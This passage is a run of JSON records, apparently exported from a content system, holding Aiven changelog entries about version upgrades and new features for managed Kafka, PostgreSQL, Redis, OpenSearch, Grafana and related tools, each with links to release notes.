Elasticsearch"},{"_key":"1eb68d5d-d18c-4e88-a346-3615e15c2397","_type":"span","marks":[],"text":" for more information."}],"markDefs":[{"_key":"m3475368010248","_type":"link","href":"https://opendistro.github.io/for-elasticsearch-docs/docs/sql/workbench/"}],"style":"normal"}],"publishedAt":"2021-04-20T00:00:00.000Z","tags":[],"title":"Open Distro for Elasticsearch Query Workbench plugin for Kibana is now included in Aiven for Elasticsearch"} {"_createdAt":"2022-10-27T09:11:05Z","_i18n_lang":"en","_id":"747e9c76-465d-4cf7-a893-a7dc9095cf21","_rev":"Dn65xz5Z1k22g7BhlztO3Q","_type":"changelog","_updatedAt":"2022-10-27T09:11:05Z","changeType":"","description":[{"_key":"61a70a78-43fe-42a2-9081-153b0a2058d7","_type":"block","children":[{"_key":"9c5fc735-1d06-48fe-8ce6-257e19a187a0","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"cc131009-e2aa-48e7-b01a-d7e4f0b50e66","_type":"span","marks":["m11499158302069"],"text":"Elasticsearch"},{"_key":"c465b393-508b-4abb-a568-96650a3b24f4","_type":"span","marks":[],"text":" and "},{"_key":"d0b10225-c10d-4bed-afd1-47fa4665c2c3","_type":"span","marks":["m1868849942580"],"text":"Kibana"},{"_key":"64e6dcbd-6979-4a0e-98af-061863a7a7df","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11499158302069","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-5.6.3.html"},{"_key":"m1868849942580","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-5.6.3.html"}],"style":"normal"}],"publishedAt":"2017-11-10T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch 5.6.3 version support now available"} {"_createdAt":"2022-10-27T09:10:30Z","_i18n_lang":"en","_id":"749c1a08-9d75-4eb0-84b6-2668395f4702","_rev":"WYf15BwQWb3V4yHfbxPbsp","_type":"changelog","_updatedAt":"2022-10-27T09:10:30Z","changeType":"","description":[{"_key":"85d5bbb6-f9a0-4e5f-a4d6-951be5bafaf3","_type":"block","children":[{"_key":"9d35b8e7-ef3a-470f-8107-5a611bcdcd5a","_type":"span","marks":[],"text":"See "},{"_key":"bcdbc80e-9c77-4493-8da6-f734ef454380","_type":"span","marks":["m16583587598035"],"text":"release notes"},{"_key":"a8913b45-a148-44e7-b898-1516ad2b5c26","_type":"span","marks":[],"text":" for details of the changes."}],"markDefs":[{"_key":"m16583587598035","_type":"link","href":"https://www.apache.org/dist/kafka/1.0.1/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2018-03-17T00:00:00.000Z","tags":[{"_key":"a2a442b5-fe5c-42c4-b39b-7d35e52eb5b4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka has been upgraded to the latest minor release, 1.0.1"} {"_createdAt":"2022-10-27T09:05:38Z","_i18n_lang":"en","_id":"74ccb1c4-f640-498b-9aac-91d9b85e30a1","_rev":"WYf15BwQWb3V4yHfbxOWCR","_type":"changelog","_updatedAt":"2022-10-27T09:05:38Z","changeType":"","description":[{"_key":"52101f41-4a49-44ae-9120-29d0ff32d429","_type":"block","children":[{"_key":"ed5b49ff-6f51-4fd2-b429-8a327d5f1621","_type":"span","marks":[],"text":"Please see the "},{"_key":"bf99ebc5-d1a2-4d1e-a071-d37b8107dea0","_type":"span","marks":["m314926829339"],"text":"release notes"},{"_key":"66f655e4-dd67-4df5-bf9d-f9d6aa26f83e","_type":"span","marks":[],"text":" and the "},{"_key":"e4182843-411a-48d2-9e44-bc718b910636","_type":"span","marks":["m17173452054445"],"text":"documentation"},{"_key":"aa3dd8d5-1db4-4912-a5b8-2516812f9db8","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m314926829339","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms/releases/tag/v1.1.0"},{"_key":"m17173452054445","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms/blob/v1.1.0/README.md"}],"style":"normal"}],"publishedAt":"2020-11-23T00:00:00.000Z","tags":[{"_key":"cd27c0d1-e921-4b19-987e-f547f5f4bdde","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven collection of single message transformations (SMTs) for Kafka Connect has been updated to version 1.1.0"} {"_createdAt":"2022-10-27T09:04:30Z","_i18n_lang":"en","_id":"752c822e-c95a-4641-8d06-a89f046f2a6b","_rev":"rHrbN7cdfRjM6CvZf3JG5F","_type":"changelog","_updatedAt":"2022-10-27T09:04:30Z","changeType":"","description":[{"_key":"1ab0406e-9075-4470-97db-e85b1693e9f7","_type":"block","children":[{"_key":"c1766f68-6546-4c0c-9da6-5e018fc91b47","_type":"span","marks":[],"text":"ACL pub/sub and performance fixes). Please see the "},{"_key":"11487612-6b2f-4f6c-ab4e-2b370607353d","_type":"span","marks":["m7907819308562"],"text":"Changelog"},{"_key":"f8d74f9c-9988-4d22-88f2-7ce9c548fc98","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m7907819308562","_type":"link","href":"https://raw.githubusercontent.com/redis/redis/6.2.3/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2021-05-05T00:00:00.000Z","tags":[{"_key":"7e1a8cf7-c24d-4d9a-9a75-84e1198e5943","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to version 6.2.3 (has e.g"} {"__i18n_lang":"en","_createdAt":"2023-11-06T08:36:41Z","_id":"75adef63-6945-404c-9652-e9aac13d12b9","_rev":"URGvS4Je6KJVSLklv9VQJ3","_type":"changelog","_updatedAt":"2023-11-06T08:37:47Z","changeType":"new","description":[{"_key":"7e05a73704b6","_type":"block","children":[{"_key":"d0f0889e7cbb0","_type":"span","marks":[],"text":"Aiven for Apache Kafka® now supports OAuth 2.0/OpenID Connect (OIDC) authentication, providing a secure and unified authentication mechanism for your Kafka cluster. You can configure OAuth2/OIDC authentication using the Aiven Console or Aiven CLI. Activating or modifying these settings will necessitate a rolling restart of Kafka brokers. For detailed instructions, see "},{"_key":"d0f0889e7cbb1","_type":"span","marks":["90333029181b"],"text":"Enable OAUTH2/OIDC authentication for Aiven for Apache Kafka®"},{"_key":"d0f0889e7cbb2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"90333029181b","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/enable-oidc"}],"style":"normal"}],"publishedAt":"2023-11-06T08:37:00.000Z","tags":[{"_key":"6317c0bcf072","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":" OAuth2/OIDC authentication for Aiven for Apache Kafka®"} {"_createdAt":"2022-10-27T09:07:25Z","_i18n_lang":"en","_id":"75c06e22-44ba-4a6c-ba2d-8e7818f7f7b0","_rev":"zF7BMhNhvYpWtPMfHNNUTi","_type":"changelog","_updatedAt":"2022-10-27T09:07:25Z","changeType":"","description":[{"_key":"df6a9612-dfe0-40d3-9856-d19bde745222","_type":"block","children":[{"_key":"7ea179b2-de05-4472-aaf8-f0fea7e14261","_type":"span","marks":[],"text":"See "},{"_key":"983593dd-ced9-4098-89a9-574b7f865dc9","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"b86fb728-c0e1-46b0-8ded-98fe2d061819","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2019-11-15T00:00:00.000Z","tags":[{"_key":"b7358167-8c62-408a-81c5-6f181b9b9cd5","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 11.6, 10.11, 9.6.16 and 9.5.20"} {"_createdAt":"2022-10-27T09:09:03Z","_i18n_lang":"en","_id":"7614c66b-21fa-4cf9-ad51-27cb6ffa4e35","_rev":"WYf15BwQWb3V4yHfbxPHUZ","_type":"changelog","_updatedAt":"2022-10-27T09:09:03Z","changeType":"","description":[{"_key":"97c81351-0f94-4e2e-833c-b84041c0228f","_type":"block","children":[{"_key":"02bd2c50-831e-4dc7-980e-e18fe8f7e3d3","_type":"span","marks":[],"text":"See "},{"_key":"935e5073-1395-443c-b691-40623952cb6c","_type":"span","marks":["m13853041027939"],"text":"this help article"},{"_key":"2aca3619-0a81-4245-8f77-da53a9de4dde","_type":"span","marks":[],"text":" for more details. Existing services may need to install an optional maintenance upgrade to make the functionality available."}],"markDefs":[{"_key":"m13853041027939","_type":"link","href":"https://help.aiven.io/services/integrations/accessing-jmx-metrics-via-jolokia"}],"style":"normal"}],"publishedAt":"2019-01-30T00:00:00.000Z","tags":[{"_key":"d4037b39-908d-4e97-80cf-aa93eebc3291","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka services now support Jolokia integration for accessing JMX metrics over HTTP/REST protocol"} {"__i18n_lang":"en","_createdAt":"2023-08-21T07:51:00Z","_id":"7625ed49-9c7f-42f1-9c2b-9ebbd7321571","_rev":"W6nv25o5Ot6aPeHYzn1XVM","_type":"changelog","_updatedAt":"2023-08-22T12:09:19Z","changeType":"improved","description":[{"_key":"a3a9a20401cf","_type":"block","children":[{"_key":"b0d872a436110","_type":"span","marks":[],"text":"This version includes:"}],"markDefs":[],"style":"normal"},{"_key":"b941c4aec23d","_type":"block","children":[{"_key":"b8046644f6880","_type":"span","marks":[],"text":"Advanced retries in the go client for better stability"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9f43b0f135af","_type":"block","children":[{"_key":"b2a2f5e1d89e0","_type":"span","marks":[],"text":"Support for Kafka 3.5"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e8ef1f907c98","_type":"block","children":[{"_key":"84d3ce8dbb820","_type":"span","marks":[],"text":"For details on the updates and deprecations, check out the complete "},{"_key":"84d3ce8dbb821","_type":"span","marks":["1eff3cbcc22d"],"text":"Aiven Operator changelog"},{"_key":"84d3ce8dbb822","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1eff3cbcc22d","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"}],"publishedAt":"2023-08-21T07:49:00.000Z","tags":[{"_key":"3d3029782ce2","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"}],"title":"Aiven Operator for Kubernetes version 0.13.0 now available"} {"_createdAt":"2022-10-27T09:11:28Z","_i18n_lang":"en","_id":"76838c9b-69f9-45f1-91ae-8a62531ab0b5","_rev":"C4pC7IakZ1PpJ4LWR2B8MX","_type":"changelog","_updatedAt":"2022-10-27T09:11:28Z","changeType":"","description":[{"_key":"26d00198-ad9b-4780-be6f-e8460f0ea1b5","_type":"block","children":[{"_key":"a015cd38-b790-4d37-bdc9-28f39bf42e7b","_type":"span","marks":[],"text":"To see what's changed please refer to the releases notes for "},{"_key":"adb2dcb0-b58a-4237-8eb6-8b41c56128b8","_type":"span","marks":["m14317136333444"],"text":"9.3"},{"_key":"842df0a5-1afa-40e4-badb-de71374e0c2b","_type":"span","marks":[],"text":", "},{"_key":"c3de0db8-0cd0-44e2-9c00-1c94d9f6f815","_type":"span","marks":["m13512882022067"],"text":"9.5"},{"_key":"42712c91-a6f4-4ca9-b3c1-f48edc23f22c","_type":"span","marks":[],"text":" and "},{"_key":"7531de4a-1ce3-473b-b64e-d4022f9b427f","_type":"span","marks":["m14740281208092"],"text":"9.6"},{"_key":"5b7a92a8-9790-4f0e-9612-6945d6163185","_type":"span","marks":[],"text":" respectively."}],"markDefs":[{"_key":"m14317136333444","_type":"link","href":"https://www.postgresql.org/docs/9.5/static/release-9-3-18.html"},{"_key":"m13512882022067","_type":"link","href":"https://www.postgresql.org/docs/9.5/static/release-9-5-8.html"},{"_key":"m14740281208092","_type":"link","href":"https://www.postgresql.org/docs/9.5/static/release-9-6-4.html"}],"style":"normal"}],"publishedAt":"2017-08-10T00:00:00.000Z","tags":[{"_key":"5fc646fd-d958-493f-ab18-0f8525fa7ddc","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 9.3.18, 9.5.8 and 9.6.4"} {"__i18n_lang":"en","_createdAt":"2023-02-17T10:58:05Z","_id":"774b884d-ddab-44ea-a949-0ecee616ad78","_rev":"wQDUBFZXucgcNowEobQiaX","_type":"changelog","_updatedAt":"2023-02-24T12:59:28Z","changeType":"improved","description":[{"_key":"372ed9dbdb68","_type":"block","children":[{"_key":"197079ad8b260","_type":"span","marks":[],"text":"Karapace version 3.4.5 includes several significant enhancements and fixes. The most notable ones include the following:"}],"markDefs":[],"style":"normal"},{"_key":"f324debe8459","_type":"block","children":[{"_key":"1d08a8d998e80","_type":"span","marks":["strong"],"text":"Improved backup creation and restoration:"},{"_key":"1d08a8d998e81","_type":"span","marks":[],"text":" The backup restoration process has been updated to wait for the message production to complete and will now raise an error if the message is not successfully sent to the restored topic."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"abd57054556b","_type":"block","children":[{"_key":"c3144ab803510","_type":"span","marks":["strong"],"text":"Improved JSON serialization and deserialization handling:"},{"_key":"c3144ab803511","_type":"span","marks":[],"text":" Improved handling for deserialization failures during record consumption, including better error messages and the ability to catch JSON decode errors."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c7ef727faec2","_type":"block","children":[{"_key":"dae8c320a8030","_type":"span","marks":["strong"],"text":"Avro enum compatibility:"},{"_key":"dae8c320a8031","_type":"span","marks":[],"text":" Fixed the compatibility handling for Avro enum symbol additions and removals and enhanced the compatibility result logging for better informative insights."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"525d8e3e425e","_type":"block","children":[{"_key":"9394456e44b20","_type":"span","marks":["strong"],"text":"Support for UltraJSON:"},{"_key":"9394456e44b21","_type":"span","marks":[],"text":" Karapace now supports using UltraJSON for improved performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3b3ae7700cc4","_type":"block","children":[{"_key":"3a08862418e60","_type":"span","marks":[],"text":"To view the complete list of fixes in this version, see "},{"_key":"3a08862418e61","_type":"span","marks":["7808d7f14c15"],"text":"Karapace release notes"},{"_key":"3a08862418e62","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7808d7f14c15","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.4.5"}],"style":"normal"}],"publishedAt":"2023-02-24T12:59:18.152Z","tags":[{"_key":"b0d52ee334c8","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to version 3.4.5"} {"_createdAt":"2022-10-27T09:03:09Z","_i18n_lang":"en","_id":"77719de3-658c-42be-8fc2-c157b619700c","_rev":"P6Du4FUPx13pONAPQIG56w","_type":"changelog","_updatedAt":"2022-10-27T09:03:09Z","changeType":"","description":[{"_key":"e7106d89-07e9-403e-96d2-8f9588dc2a29","_type":"block","children":[{"_key":"83c954b0-b0b8-4237-a1ba-59f3852b3272","_type":"span","marks":[],"text":"To see what's new see the "},{"_key":"a37603d6-352a-4fb0-a7fa-5db3d2604ccf","_type":"span","marks":["m7427258684717"],"text":"Datadog Agent release notes"},{"_key":"31ead3ed-4992-491a-9c4c-37f0cc255b4b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7427258684717","_type":"link","href":"https://github.com/DataDog/datadog-agent/blob/master/CHANGELOG.rst"}],"style":"normal"}],"publishedAt":"2021-12-20T00:00:00.000Z","tags":[{"_key":"89ddeb59-e82f-47ef-aa5b-04718545533e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"e17b0004-4a8d-43e2-86f4-ee9d69c0d2ff","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"ad581b03-0b65-460e-b670-ce46248e05b0","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Datadog Agent version 7.32.3 is now available"} {"_createdAt":"2022-10-27T09:09:26Z","_i18n_lang":"en","_id":"77c98ad3-4847-49d8-b41f-b86a7a0ede1a","_rev":"HEiYk6nGjmUICadcDbTUrG","_type":"changelog","_updatedAt":"2022-10-27T09:09:26Z","changeType":"","description":[{"_key":"ae4cde2a-3d77-4c52-a1e6-f27f3bd89d89","_type":"block","children":[{"_key":"db05ca70-3815-4623-8353-de063848b1be","_type":"span","marks":[],"text":"PostgreSQL 11 comes with many new features and performance enhancements. The PostGIS extension has also been updated to version 2.5.0. Please see our blog "},{"_key":"57ad9abf-4927-4c9b-934b-473b682fe8bf","_type":"span","marks":["m10615483149055"],"text":"post"},{"_key":"9583d7db-0ea1-4496-b2fd-d1e4515f4793","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m10615483149055","_type":"link","href":"https://aiven.io/blog/postgresql-11-now-generally-available-on-aiven"}],"style":"normal"}],"publishedAt":"2018-11-05T00:00:00.000Z","tags":[{"_key":"19e1a5d5-f86f-408e-b836-0ada730a05d6","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL 11 now available"} {"_createdAt":"2022-10-27T09:04:00Z","_i18n_lang":"en","_id":"78502966-58aa-40e8-abac-a2a089bf8e7a","_rev":"GNtcCQgxf3P3DqpLt1inYj","_type":"changelog","_updatedAt":"2022-10-27T09:04:00Z","changeType":"","publishedAt":"2021-07-05T00:00:00.000Z","tags":[{"_key":"0f74ebd0-7a57-427d-99c6-4765503c223f","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"PostGIS 3.1.3 is available on PostgreSQL 9.6, 10, 11, 12 and 13."} {"_createdAt":"2022-10-27T09:07:02Z","_i18n_lang":"en","_id":"785e799f-8827-4e9b-81d2-2f3cd492158a","_rev":"ncjVtEY290Sap8rHbFwga1","_type":"changelog","_updatedAt":"2022-10-27T09:07:02Z","changeType":"","description":[{"_key":"99e72717-ff5e-4516-9920-85c50e2efb4b","_type":"block","children":[{"_key":"87542e57-fe3d-4ccd-80b3-dd54c473f4aa","_type":"span","marks":[],"text":"Please see "},{"_key":"6347ab22-5c24-40ca-9c55-f3c6c56ea922","_type":"span","marks":["m10786455495114"],"text":"AJAX Panel for Grafana"},{"_key":"523e20a8-5777-4bfe-95da-919e565ccf01","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m10786455495114","_type":"link","href":"https://grafana.com/plugins/ryantxu-ajax-panel"}],"style":"normal"}],"publishedAt":"2020-02-28T00:00:00.000Z","tags":[{"_key":"f41d8a91-5c99-4fff-9062-a7e6c6eb161d","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added AJAX Panel plugin to Grafana"} {"_createdAt":"2022-10-27T09:10:09Z","_i18n_lang":"en","_id":"788af4e3-d7af-4031-b64d-58564a19633d","_rev":"ri8ZjU8zRgh6Niwltv1EBf","_type":"changelog","_updatedAt":"2022-10-27T09:10:09Z","changeType":"","description":[{"_key":"6bca0fba-1d85-49aa-b852-8d688b5e377e","_type":"block","children":[{"_key":"21fc7742-ca86-4ded-979e-24c0a2ddbb08","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"5f98fc10-a83b-4101-8dab-eaf620ed4730","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"7f7a2aab-70ac-40c8-b5a3-f32b3503d77e","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2018-05-25T00:00:00.000Z","tags":[{"_key":"bcffa050-0cda-4b93-86db-3decc98c76c8","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.1.3 and updated all available plugins to the latest versions"} {"_createdAt":"2022-10-27T09:09:29Z","_i18n_lang":"en","_id":"79853e62-208a-4e59-86d0-cb8506055bc4","_rev":"GNtcCQgxf3P3DqpLt1k46P","_type":"changelog","_updatedAt":"2022-10-27T09:09:29Z","changeType":"","description":[{"_key":"b2d6b6d6-26b5-473f-a450-5f621d03d47c","_type":"block","children":[{"_key":"1117f58b-9ecd-46c7-8af2-61589f0ff940","_type":"span","marks":[],"text":"These plans replace the previous 160 GB plans, offering better performance at the same price points."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-10-31T00:00:00.000Z","tags":[{"_key":"e12c05f3-7d1a-4dc7-9355-92338448dffc","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},"DigitalOcean",{"_key":"afa48b82-4a11-43f6-904a-5b384297c76d","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"New Aiven for PostgreSQL 32 CPU / 190 GB RAM plans are now available in Google Cloud Platform and DigitalOcean"} {"_createdAt":"2022-10-27T09:03:34Z","_i18n_lang":"en","_id":"79eb74fb-fa59-4dc7-92f9-35826f7feb9c","_rev":"P6Du4FUPx13pONAPQIGI9o","_type":"changelog","_updatedAt":"2022-10-27T09:03:34Z","changeType":"","publishedAt":"2021-09-29T00:00:00.000Z","tags":[{"_key":"541bde8a-01e3-4dbf-bfa4-55eb57a3b25e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's PostGIS extension version 3.1.4 and 3.0.4 are available."} {"_createdAt":"2022-10-27T09:11:22Z","_i18n_lang":"en","_id":"7ac306d1-8af7-4c03-97f8-39564b98bc35","_rev":"ri8ZjU8zRgh6Niwltv1F9z","_type":"changelog","_updatedAt":"2022-10-27T09:11:22Z","changeType":"","description":[{"_key":"7ec9a358-8f41-4f6e-8367-471a5938c20b","_type":"block","children":[{"_key":"bb5c3505-ebb9-424f-8a26-d33c9802a4bc","_type":"span","marks":[],"text":"To see what's changed please refer to the releases notes for "},{"_key":"c61f27c0-e828-4421-9ce6-ca3370d55f80","_type":"span","marks":["m13419399666758"],"text":"9.3"},{"_key":"3cc8c992-07d1-4c32-82cf-0b3c49141335","_type":"span","marks":[],"text":", "},{"_key":"0676dfc0-81de-4497-8aaf-cdf356dd357f","_type":"span","marks":["m15620100707730"],"text":"9.5"},{"_key":"bb458050-80e5-4b93-91ee-7a7d85f7303c","_type":"span","marks":[],"text":" and "},{"_key":"9f766489-cf4c-4a90-993d-136670a7ad62","_type":"span","marks":["m4149983662806"],"text":"9.6"},{"_key":"9a33ff6d-47b0-4256-9e2a-9fbf83b3ec82","_type":"span","marks":[],"text":" respectively."}],"markDefs":[{"_key":"m13419399666758","_type":"link","href":"https://www.postgresql.org/docs/9.6/static/release-9-3-19.html"},{"_key":"m15620100707730","_type":"link","href":"https://www.postgresql.org/docs/9.5/static/release-9-5-9.html"},{"_key":"m4149983662806","_type":"link","href":"https://www.postgresql.org/docs/current/static/release-9-6-5.html"}],"style":"normal"}],"publishedAt":"2017-09-01T00:00:00.000Z","tags":[{"_key":"fddc182a-07f2-4f71-bc35-cd39475df8ca","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Updated to latest minor releases 9.3.19, 9.5.9 and 9.6.5"} {"__i18n_lang":"en","_createdAt":"2023-01-25T14:54:24Z","_id":"7b853317-4788-47a0-ba80-16a8ac740fa9","_rev":"pnOvEyahjeT2Gte9fUMJMB","_type":"changelog","_updatedAt":"2023-01-25T14:54:24Z","changeType":"new","description":[{"_key":"33230c63ec5c","_type":"block","children":[{"_key":"02381b3099e50","_type":"span","marks":[],"text":"This release includes improvements for search, analytics, and observability. OpenSearch Dashboards, in particular, have been enhanced with several new features, such as geospatial tools. Improvements include being able to: specify a point in time for queries giving you consistent results that are easier to analyze; upload your own machine learning models to power semantic search; visualize aggregated log data and Prometheus metrics; fine-tune your semantic search models using a query generator model that creates query-response pairs using your documents; index and search geographic points represented as Cartesian coordinates or shapes, and use H3 geospatial indexing system datasets for indexing and visualization with OpenSearch Dashboards coordinate maps. Seamlessly upgrade to OpenSearch 2.4.1 via the Aiven Console, Aiven API, Aiven CLI, or Terraform. For more information, see "},{"_key":"02381b3099e51","_type":"span","marks":["180db27c2f6a"],"text":"Aiven for OpenSearch"},{"_key":"02381b3099e52","_type":"span","marks":[],"text":" documentation and "},{"_key":"02381b3099e53","_type":"span","marks":["8f7244fa1e33"],"text":"OpenSearch release notes"},{"_key":"02381b3099e54","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"180db27c2f6a","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch.html"},{"_key":"8f7244fa1e33","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-2.4.1.md"}],"style":"normal"}],"publishedAt":"2022-12-30T14:53:00.000Z","tags":[{"_key":"fd45f0e98077","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Aiven for OpenSearch 2.4.1 is now available on the Aiven platform."} {"__i18n_lang":"en","_createdAt":"2023-02-22T11:52:38Z","_id":"7c6f4674-5dbd-4cb6-894c-e538cf169074","_rev":"7XVZ09pFVUXWSWXVXNMeWi","_type":"changelog","_updatedAt":"2023-08-23T08:18:33Z","changeType":"new","description":[{"_key":"c04c6044c35b","_type":"block","children":[{"_key":"09b9c77dc1890","_type":"span","marks":[],"text":"This version improves the overall stability by removing unneeded logic and refactoring the entirety of the mechanism responsible for user configurable options, introducing strict typing to all the variables there. This should make it clearer to configure the provider. Other changes include:"}],"markDefs":[],"style":"normal"},{"_key":"e20015906e50","_type":"block","children":[{"_key":"2a6886eaff110","_type":"span","marks":[],"text":"schema fields use strict types instead of string"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6863fa7e7483","_type":"block","children":[{"_key":"3c767555dffd","_type":"span","marks":[],"text":"support for strict types in diff functions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c51a682762de","_type":"block","children":[{"_key":"60c7236303240","_type":"span","marks":[],"text":"These deprecated resources have also been removed:"}],"markDefs":[],"style":"normal"},{"_key":"0e1cf4ee7fab","_type":"block","children":[{"_key":"1a00ff145af7","_type":"span","marks":[],"text":"aiven_database"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"831a3a7058b7","_type":"block","children":[{"_key":"71bc35d4d4d3","_type":"span","marks":[],"text":"aiven_service_user"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b1943db87c17","_type":"block","children":[{"_key":"fe96938c37a2","_type":"span","marks":[],"text":"aiven_vpc_peering_connection"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d21ce6b13d13","_type":"block","children":[{"_key":"92591fd1b9ce","_type":"span","marks":[],"text":"aiven_flink_table"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"98eb46abebb7","_type":"block","children":[{"_key":"a0b5f70c354c","_type":"span","marks":[],"text":"aiven_flink_job"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bb0eed4244b6","_type":"block","children":[{"_key":"2a479ae0d7cd0","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, see the "},{"_key":"2a479ae0d7cd1","_type":"span","marks":["7c5eaec557ad"],"text":"documentation"},{"_key":"2a479ae0d7cd2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7c5eaec557ad","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"}],"publishedAt":"2023-02-24T11:35:31.646Z","tags":[{"_key":"f668c282ba7c","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.0.0 now available"} {"_createdAt":"2022-10-27T09:07:56Z","_i18n_lang":"en","_id":"7ccfcbea-869c-4001-a8a7-db6a08e683c9","_rev":"RS2LhK1JP0SKK0JvX1Qt81","_type":"changelog","_updatedAt":"2022-10-27T09:07:56Z","changeType":"","description":[{"_key":"1090bf8e-6fb2-4e1a-9083-c41ad0ea5d3f","_type":"block","children":[{"_key":"a4f75eab-930c-4e34-ad05-0cfabc36f8b3","_type":"span","marks":[],"text":"Please see the "},{"_key":"2b8f201c-1162-49af-aa0f-e312c56a1608","_type":"span","marks":["m10155337134488"],"text":"Changelog"},{"_key":"cb460368-4b90-4be2-b4c3-9c5771c9d9d4","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m10155337134488","_type":"link","href":"https://raw.githubusercontent.com/antirez/redis/5.0/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2019-09-26T00:00:00.000Z","tags":[{"_key":"96179530-6e60-4dc0-b39d-35d0bab35163","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to major version 5.0.6"} {"__i18n_lang":"en","_createdAt":"2024-03-21T11:10:44Z","_id":"7ce2d029-abfd-464b-93e6-3a143a91e1a0","_rev":"GcS0B1Rw1v9Sxzfp9vNUCt","_type":"changelog","_updatedAt":"2024-03-21T11:12:55Z","description":[{"_key":"2dec794776ad","_type":"block","children":[{"_key":"cba60f8f924e0","_type":"span","marks":[],"text":"Version 4.15.0 supports "},{"_key":"6e6ca9235a1f","_type":"span","marks":["3364f4063821"],"text":"Dragonfly"},{"_key":"6e0f02af7894","_type":"span","marks":[],"text":" and includes these other enhancements: 